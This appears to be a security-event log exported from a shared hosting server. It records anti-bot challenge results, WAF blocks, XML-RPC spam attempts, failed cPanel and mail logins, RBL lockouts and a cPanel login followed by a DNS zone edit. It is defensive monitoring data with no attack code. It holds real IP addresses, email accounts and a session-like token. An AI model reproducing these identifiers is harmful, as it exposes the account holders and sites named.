plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:22:12:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146262&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781993546 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:12:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13093318&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781993547 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.53.53.34
country_id: 3439705
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/06/IMG_20230603_141036_400_copy_1024x768-696x522-1.jpg 696w, http:/togodailynews.tg/wp-content/uploads/2023/06/IMG_20230603_141036_400_copy_1024x768-696x522-1-300x225.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.97.125.76
country_id: 3017382
description:
[2026-06-20 22:14:13 +0000] info [cpaneld] 161.97.125.76 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:22:13:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185579&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781993616 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:22:13:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854501&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781993617 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:13:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6394729&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781993627 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 177.87.157.244
country_id: 3469034
description:
177.87.157.244 - - [20/Jun/2026:22:14:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105987&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Factualites%252Fpage%252F20%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781993675 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/actualites/page/20/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.7129.1142 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:177.87.157.244


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.113.74.55
country_id: 2589581
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/146284220 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.148.48.21
country_id: 290291
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/8a8581 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.34.192.56
country_id: 357994
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e2d4d4c03e8a75922cf68ca9d6b78e28014549e7||Title:kqapridog05jzg||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.34.192.56
country_id: 357994
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:986bd94b18160ab7ef3306af61004d2cd5b5ce60||Title:6kvuofwv4rgz4cx||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 115.135.199.17
country_id: 1733045
description:
115.135.199.17 - - [20/Jun/2026:22:17:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10327706&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fparc-auto&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781993848 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/tag/parc-auto" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:115.135.199.17


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.34.192.56
country_id: 357994
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b1d99a32ff5b1a4655099273629794a72eefa141||Title:t25xsddomqen1uy||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.34.192.56
country_id: 357994
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a5ba80934e33d1b61aca0ed9ba994b27b448cb1c||Title:arha5xpajzb3idaj||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.1
country_id: 1880251
description:
47.128.122.1 - - [20/Jun/2026:22:18:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9660566&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Factualites%252Fpage%252F20%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781993913 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/actualites/page/20/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.1


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 182.9.49.7
country_id: 1643084
description:
182.9.49.7 - - [20/Jun/2026:22:21:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804644&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Factualites%252Fpage%252F31%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781994076 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/actualites/page/31/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.5128.1951 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:182.9.49.7


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:21:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:21:51 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.225.205.240
country_id: 3895114
description:
45.225.205.240 - - [20/Jun/2026:22:24:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988961&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-160513detidm13ped.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781994263 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-160513detidm13ped.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.225.205.240


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.75.234.216
country_id: 1733045
description:
180.75.234.216 - - [20/Jun/2026:22:25:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932421&pdata=https%253A%252F%252F24heureinfo.tg%252Fa-la-une%252Ftogo-la-rentree-fixee-au-1er-decembre-pour-lenseignement-superieur-prive%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781994322 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/a-la-une/togo-la-rentree-fixee-au-1er-decembre-pour-lenseignement-superieur-prive/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.75.234.216


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.7.3.41
country_id: 3625428
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/events HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.185.162.207
country_id: 248816
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/event/adzinikuzan-2023-apotheose HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-20 22:26:10 dovecot_plain authenticator failed for H=([192.168.1.72]) [102.64.164.199]:10912: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.171.12.165
country_id: 1269750
description:
Jun 20 22:26:11 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.171.12.165 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:28:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10339476&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781994507 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:22:28:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10117732&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781994509 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:22:29:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881244&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781994584 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:29:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9607017&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781994588 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:22:30:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9674394&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781994608 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.97.125.76
country_id: 3017382
description:
[2026-06-20 22:32:57 +0000] info [cpaneld] 161.97.125.76 - AWADI "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AWADI (has_cpuser_file failed)


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 161.97.125.76
country_id: 3017382
description:
[2026-06-20 22:33:18 +0000] info [cpaneld] 161.97.125.76 - AWADI "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AWADI (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 117.5.142.91
country_id: 1562822
domain: 24heureinfo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-33.117.5.142.91||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.55.146.32
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/06/c29c12f108aba1c576f94e3a06d1f923_L.jpg 600w, http:/togodailynews.tg/wp-content/uploads/2024/06/c29c12f108aba1c576f94e3a06d1f923_L-300x179.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 151.106.12.252
country_id: 3017382
description:
Jun 20 22:35:16 ns5 pure-ftpd[1011605]: (?@151.106.12.252) [INFO] New connection from 151.106.12.252


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.90
country_id: 3175395
description:
Jun 20 22:35:34 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.90 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.204.225.137
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/08/Le-Togo-adopte-un-programme-Wezou-pour-la-sante-maternelle-et-neonatale.jpg 877w, http:/togodailynews.tg/wp-content/uploads/2021/08/Le-Togo-adopte-un-programme-Wezou-pour-la-sante-maternelle-et-neonatale-300x176.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2021/08/Le-Togo-adopte-un-programme-Wezou-pour-la-sante-maternelle-et-neonatale-768x451.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:38:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:38:52 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-20 22:41:43 dovecot_plain authenticator failed for H=([192.168.1.72]) [102.64.164.199]:12811: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:43:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313254&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781995431 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:22:43:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843543&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781995431 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:22:44:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13263213&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781995485 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:44:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001006&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781995488 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:22:45:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738389&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781995501 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.214.232.226
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/847875 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.153.162.63
country_id: 2510769
description:
2026-06-20 22:50:12 dovecot_login authenticator failed for H=63.red-79-153-162.dynamicip.rima-tde.net (ip-67-21-79-198.sharktech.net) [79.153.162.63]:50862: 535 Incorrect authentication data (set_id=master@pin.cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.144.95
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/8da673 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 15.220.4.87
country_id: 6252001
description:
15.220.4.87 - - [20/Jun/2026:22:52:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10012007&pdata=https%253A%252F%252Ffomda.tg%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781995963 HTTP/2.0" 302 0 fomda.tg "https://fomda.tg:2083/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:15.220.4.87


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 15.220.4.87
country_id: 6252001
description:
[2026-06-20 22:52:54 +0000] info [cpaneld] 15.220.4.87 NEW tgkkwsvr:xjVxIweS1ZGRDkKe address=15.220.4.87,app=cpaneld,creator=tgkkwsvr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 190.104.116.200
country_id: 3595528
description:
2026-06-20 22:53:17 H=([0.0.0.0]) [190.104.116.200]:50639 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 15.181.1.164
country_id: 6252001
description:
[2026-06-20 22:54:50 +0000] info [cpaneld] 15.181.1.164 - tgkkwsvr "POST /cpsess0865663673/execute/DNS/mass_edit_zone HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [15.220.4.87] != Current IP Address [15.181.1.164]


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:55:11 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:55:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.171.119.166
country_id: 3625428
domain: togodailynews.tg
description:
